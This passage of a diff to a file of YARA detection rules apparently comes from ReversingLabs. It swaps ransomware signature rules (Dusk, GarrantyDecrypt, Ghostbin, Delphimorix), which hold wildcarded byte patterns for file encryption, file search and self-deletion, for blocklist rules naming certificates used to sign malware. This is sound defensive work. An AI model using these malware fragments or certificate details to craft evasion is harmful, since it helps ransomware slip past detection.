?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 89 45 ?? 83 FF ?? 73 ?? 0F 10 00 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 - 85 ?? ?? ?? ?? EB ?? 8B F7 8D 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 CE ?? 3B F0 0F 47 F0 - } - $enum_shares_p3 = { - 8D 46 ?? 50 E8 ?? ?? ?? ?? 8D 0C 7D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 51 FF 75 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 8B 7D - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? - 3B F8 0F 84 ?? ?? ?? ?? 2B C7 C1 F8 ?? 69 F0 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 89 85 ?? - ?? ?? ?? 8D 0C 76 89 45 ?? 8D 04 C8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? - 0F 57 C0 8B B5 ?? ?? ?? ?? 66 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 89 75 ?? 89 - 45 ?? C6 45 ?? ?? 66 90 57 8B CE E8 ?? ?? ?? ?? 83 C6 ?? 83 C7 ?? 89 75 ?? 3B 7D ?? - 75 ?? 89 75 ?? C6 45 ?? ?? 89 75 ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D - 85 ?? ?? ?? ?? 8B 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? FF 76 ?? E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? EB ?? - 8B 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 06 F0 FF 08 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? EB ?? 57 FF 15 ?? ?? ?? ?? 8B 75 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $enum_shares_p* ) ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALISA LTD" and pe.signatures [ i ] . serial == "5d:a1:73:eb:1a:c7:63:40:ac:05:8e:1f:f4:bf:5e:1b" and 1550793600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Dusk : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_1380A7Ccf2Bf36Bc496B00D8 : INFO FILE { meta: - description = "Yara rule that detects Dusk ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cde30f40-f13c-53da-8656-cc293433aa36" - date = "2021-08-12" - modified = "2021-08-12" + id = "dc473451-e1a9-53b4-acf6-9ff8036ecf31" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Dusk.yara#L1-L73" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16474-L16490" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b6b0b3be7c17115dc5f225a13228f8a4811d84ae095c3ceba2d89f569f2d40c7" + logic_hash = "88708d7d139a9d6e92f78df460b527a1ae6a404d0bcccb801c8c8cb1263a46c6" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Dusk" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? - 0A 06 28 ?? ?? ?? ?? 0B 03 07 28 ?? ?? ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? - ?? ?? ?? DE ?? 26 DE ?? 2A - } - $encrypt_files_p2 = { - 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 73 ?? ?? - ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ?? - ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? - ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? - ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11 - ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ?? - 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 2A - } - $dusk_delete_itself = { - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 1A 8D ?? ?? ?? ?? 25 16 - 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 0B 06 07 28 ?? ?? ?? - ?? 06 06 28 ?? ?? ?? ?? 18 60 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 73 ?? ?? - ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 04 28 ?? ?? ?? ?? 28 - ?? ?? ?? ?? DE ?? 26 DE ?? 2A - } - $find_files = { - 20 ?? ?? ?? ?? 72 ?? ?? ?? ?? A2 25 20 ?? ?? ?? ?? 72 ?? ?? ?? ?? A2 25 20 ?? ?? ?? ?? - 72 ?? ?? ?? ?? A2 0A 1F ?? 8D ?? ?? ?? ?? 25 16 1F ?? 28 ?? ?? ?? ?? A2 25 17 1E 28 ?? - ?? ?? ?? A2 25 18 1F ?? 28 ?? ?? ?? ?? A2 25 19 1F ?? 28 ?? ?? ?? ?? A2 25 1A 1F ?? 28 - ?? ?? ?? ?? A2 25 1B 1B 28 ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? A2 25 1D 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? - ?? A2 25 1E 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 1F ?? 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 0B 16 0C 2B ?? 07 08 9A 0D - 1F ?? 28 ?? ?? ?? ?? 13 ?? 09 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 - ?? 11 ?? 9A 28 ?? ?? ?? ?? 13 ?? 06 11 ?? 28 ?? ?? ?? ?? 2C ?? 02 11 ?? 11 ?? 9A 11 ?? - 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 02 09 28 ?? ?? ?? ?? DE ?? - 26 DE ?? 08 17 58 0C 08 07 8E 69 32 ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 26 DE ?? 26 DE ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 20 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $dusk_delete_itself ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "13:80:a7:cc:f2:bf:36:bc:49:6b:00:d8" and 1478069976 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Garrantydecrypt : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_02Eaf27E6F1575E365Fc7Fe4E0Be43F7 : INFO FILE { meta: - description = "Yara rule that detects GarrantyDecrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0aa05f06-1773-5ce8-892d-04468f5deccc" - date = "2020-06-26" - modified = "2020-07-15" + id = "5d1aad80-9444-5cc3-8ff4-b70fb089cda0" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GarrantyDecrypt.yara#L1-L79" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16492-L16508" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7194c1e0e15a89f2c691a7d586b9db68295cc52a5f042d0f7eb558c326430444" + logic_hash = "333a43bdfbc400727b8eae1efeb03484b959fc45ed6b8b0dd5e6a553fa27e87f" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "GarrantyDecrypt" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 33 DB 53 53 8D 45 ?? 50 89 5D ?? FF D6 85 C0 75 - ?? 68 ?? ?? ?? ?? 6A ?? 53 53 8D 45 ?? 50 FF D6 85 C0 74 ?? 8B 45 ?? A3 ?? ?? ?? ?? - 3B C3 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 3B F3 0F 84 ?? ?? ?? ?? 8B 7E ?? 8B 46 - ?? 33 C9 3B FB 76 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 29 45 ?? 8B 55 ?? 8D 84 0D ?? ?? ?? - ?? 8A 14 02 41 88 10 3B CF 72 ?? 68 ?? ?? ?? ?? 53 53 FF 76 ?? FF 36 FF 35 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 3B FB 74 ?? 8B 46 ?? 68 ?? ?? ?? ?? 89 45 - ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 53 6A ?? 53 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B - 45 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 36 E8 - ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 53 FF - 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF 15 - } - $encrypt_files_p2 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8D 45 ?? 50 6A ?? 5F 57 FF 35 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 58 E8 ?? ?? ?? ?? 8B C8 33 DB 89 4D ?? 3B - CB 0F 84 ?? ?? ?? ?? 8D 45 ?? 89 7D ?? 8B F1 2B C1 8A 14 30 88 16 46 4F 75 ?? 6A ?? - 8D 45 ?? 50 51 53 6A ?? 53 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 53 68 ?? ?? - ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? - ?? ?? ?? 89 5D ?? 89 5D ?? 8B 3D ?? ?? ?? ?? 56 FF D7 8D 04 46 83 E8 ?? 66 83 38 ?? - 75 ?? 8B 4D ?? FF B1 ?? ?? ?? ?? 2B C6 83 C0 ?? D1 F8 8D 04 46 50 FF 15 ?? ?? ?? ?? - 3B C3 74 ?? 50 FF D7 8B 4D ?? FF B1 ?? ?? ?? ?? 89 45 ?? FF D7 39 45 ?? 74 ?? 83 45 - ?? ?? 83 7D ?? ?? 72 ?? EB ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 3D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 89 45 ?? 3B C3 0F 84 ?? ?? ?? ?? 53 8D 45 ?? 50 68 - ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 33 C0 89 5D ?? 3B - C3 72 ?? 77 ?? 39 5D ?? 76 ?? 8B 45 ?? 8B C8 81 E1 ?? ?? ?? ?? 79 ?? 49 83 C9 ?? 41 - 89 4D ?? 75 ?? 99 83 E2 ?? 03 C2 C1 F8 ?? 99 52 50 8D 85 ?? ?? ?? ?? 50 8D 45 ?? E8 - ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 8B 55 ?? 8B 45 ?? 8A 8C 0D ?? ?? ?? ?? 30 0C 10 FF 45 - ?? 8B 45 ?? 99 33 C9 3B D1 72 ?? 77 ?? 3B 45 ?? 72 ?? 8B 45 ?? 6A ?? F7 D8 99 53 52 - 50 FF 75 ?? FF D7 53 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF D6 39 5D ?? 74 ?? 81 - 7D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 6A ?? 53 53 33 C0 50 - FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF D7 53 8D 45 ?? 50 6A ?? 8D 45 ?? 50 FF 75 ?? FF D6 - 53 8D 45 ?? 50 6A ?? FF 75 ?? FF 75 ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B F0 3B F3 74 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? - 59 FF 75 ?? E8 ?? ?? ?? ?? 59 5F 5E 5B C9 C3 - } - $find_files = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 89 5D ?? 85 - DB 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 53 - FF D6 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? - ?? ?? ?? BB ?? ?? ?? ?? 83 65 ?? ?? 8B 45 ?? FF B0 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 45 ?? ?? 83 7D ?? ?? 72 ?? 8D 85 ?? ?? - ?? ?? 50 FF 75 ?? 53 57 FF 75 ?? FF D6 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? FF 75 - ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? - ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? 53 57 FF 75 ?? FF D6 83 - C4 ?? 33 F6 56 68 ?? ?? ?? ?? 6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? - ?? 8B D8 83 FB ?? 74 ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 BF ?? ?? ?? ?? 57 FF D6 50 - 57 8B 3D ?? ?? ?? ?? 53 FF D7 6A ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? FF D6 50 FF 35 ?? - ?? ?? ?? 53 FF D7 53 FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5F 5E 5B C9 C3 - } - condition: - uint16( 0 ) == 0x5A4D and $find_files and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Theravada Solutions Ltd" and pe.signatures [ i ] . serial == "02:ea:f2:7e:6f:15:75:e3:65:fc:7f:e4:e0:be:43:f7" and 1562889600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Ghostbin : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6Eb02Ac2Beb9611Ed57Eb12E : INFO FILE { meta: - description = "Yara rule that detects Ghostbin ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4d576854-7a30-527d-9a7a-f22018183540" - date = "2021-09-06" - modified = "2021-09-06" + id = "64350364-fe74-54df-886d-1197146e00e7" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Ghostbin.yara#L1-L61" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16510-L16526" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3881e1c83ac2a31fdd8a081d3e6e6ea759771dbc183c3af9528930619bcddf9e" + logic_hash = "7f2a6c61ae82fec6829924d11190da776aebdd3d72c7e001fdc29b215649261c" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ghostbin" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $setup_env = { - 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C - 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 18 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 - 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 19 FE 01 08 6F ?? ?? ?? ?? 18 FE 01 60 2C ?? 08 - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 17 D6 0B 07 06 8E 69 32 ?? 00 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 2C ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? - ?? DE ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 - ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 1F ?? 16 28 ?? ?? ?? ?? 26 DE ?? 28 ?? ?? ?? ?? 28 ?? ?? - ?? ?? DE ?? 2A - } - $encrypt_files = { - 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 25 6F ?? ?? ?? ?? 25 06 28 ?? ?? ?? ?? 03 6F ?? ?? ?? - ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 0C 6F ?? ?? ?? - ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 0B 07 8E 69 17 59 1F ?? 58 17 58 8D ?? ?? ?? ?? 0D 08 - 09 1F ?? 28 ?? ?? ?? ?? 07 16 09 1F ?? 07 8E 69 28 ?? ?? ?? ?? 09 2A - } - $find_files = { - 02 17 8D ?? ?? ?? ?? 25 16 1F ?? 9D 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 28 - ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0A 16 0B - 2B ?? 06 07 9A 0C 7E ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 08 28 ?? ?? ?? - ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? - ?? ?? ?? 08 28 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ?? DE ?? 07 17 D6 0B - 07 06 8E 69 32 ?? 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 28 ?? ?? ?? ?? - 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? - DE ?? 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $setup_env ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\x9D\\xA8\\xE5\\x87\\x8C\\xE4\\xBC\\xAF\\xE4\\xB9\\x90\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "6e:b0:2a:c2:be:b9:61:1e:d5:7e:b1:2e" and 1585023767 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Delphimorix : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_010000000001297Dba69Dd : INFO FILE { meta: - description = "Yara rule that detects Delphimorix ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1f964601-9819-5597-ba6e-db3a30e3aa5a" - date = "2020-06-26" - modified = "2020-07-15" + id = "f6a63e79-4dde-590f-ad65-ba9cc29ff48c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Delphimorix.yara#L1-L67" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16528-L16544" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6d401d488d57b2d75e93a1dfd47ece687a5791d1f0a52768300f4af8a8787212" + logic_hash = "bbc3e740d5043d1811ff44c7366c69192fb78c95215b30fd4f4c782812ad591c" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Delphimorix" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 - 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? 8B - 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 68 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ?? - ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B C3 - 8B 10 FF 12 52 50 B9 ?? ?? ?? ?? 8B D3 8B C6 E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B - C6 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 - ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 59 59 5D C3 - } - $find_files_p1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? - ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B D9 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 - ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? - ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 - } - $find_files_p2 = { - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? - ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B - C6 83 C8 ?? 3B C6 75 ?? 80 FB ?? 75 ?? 8B 85 ?? 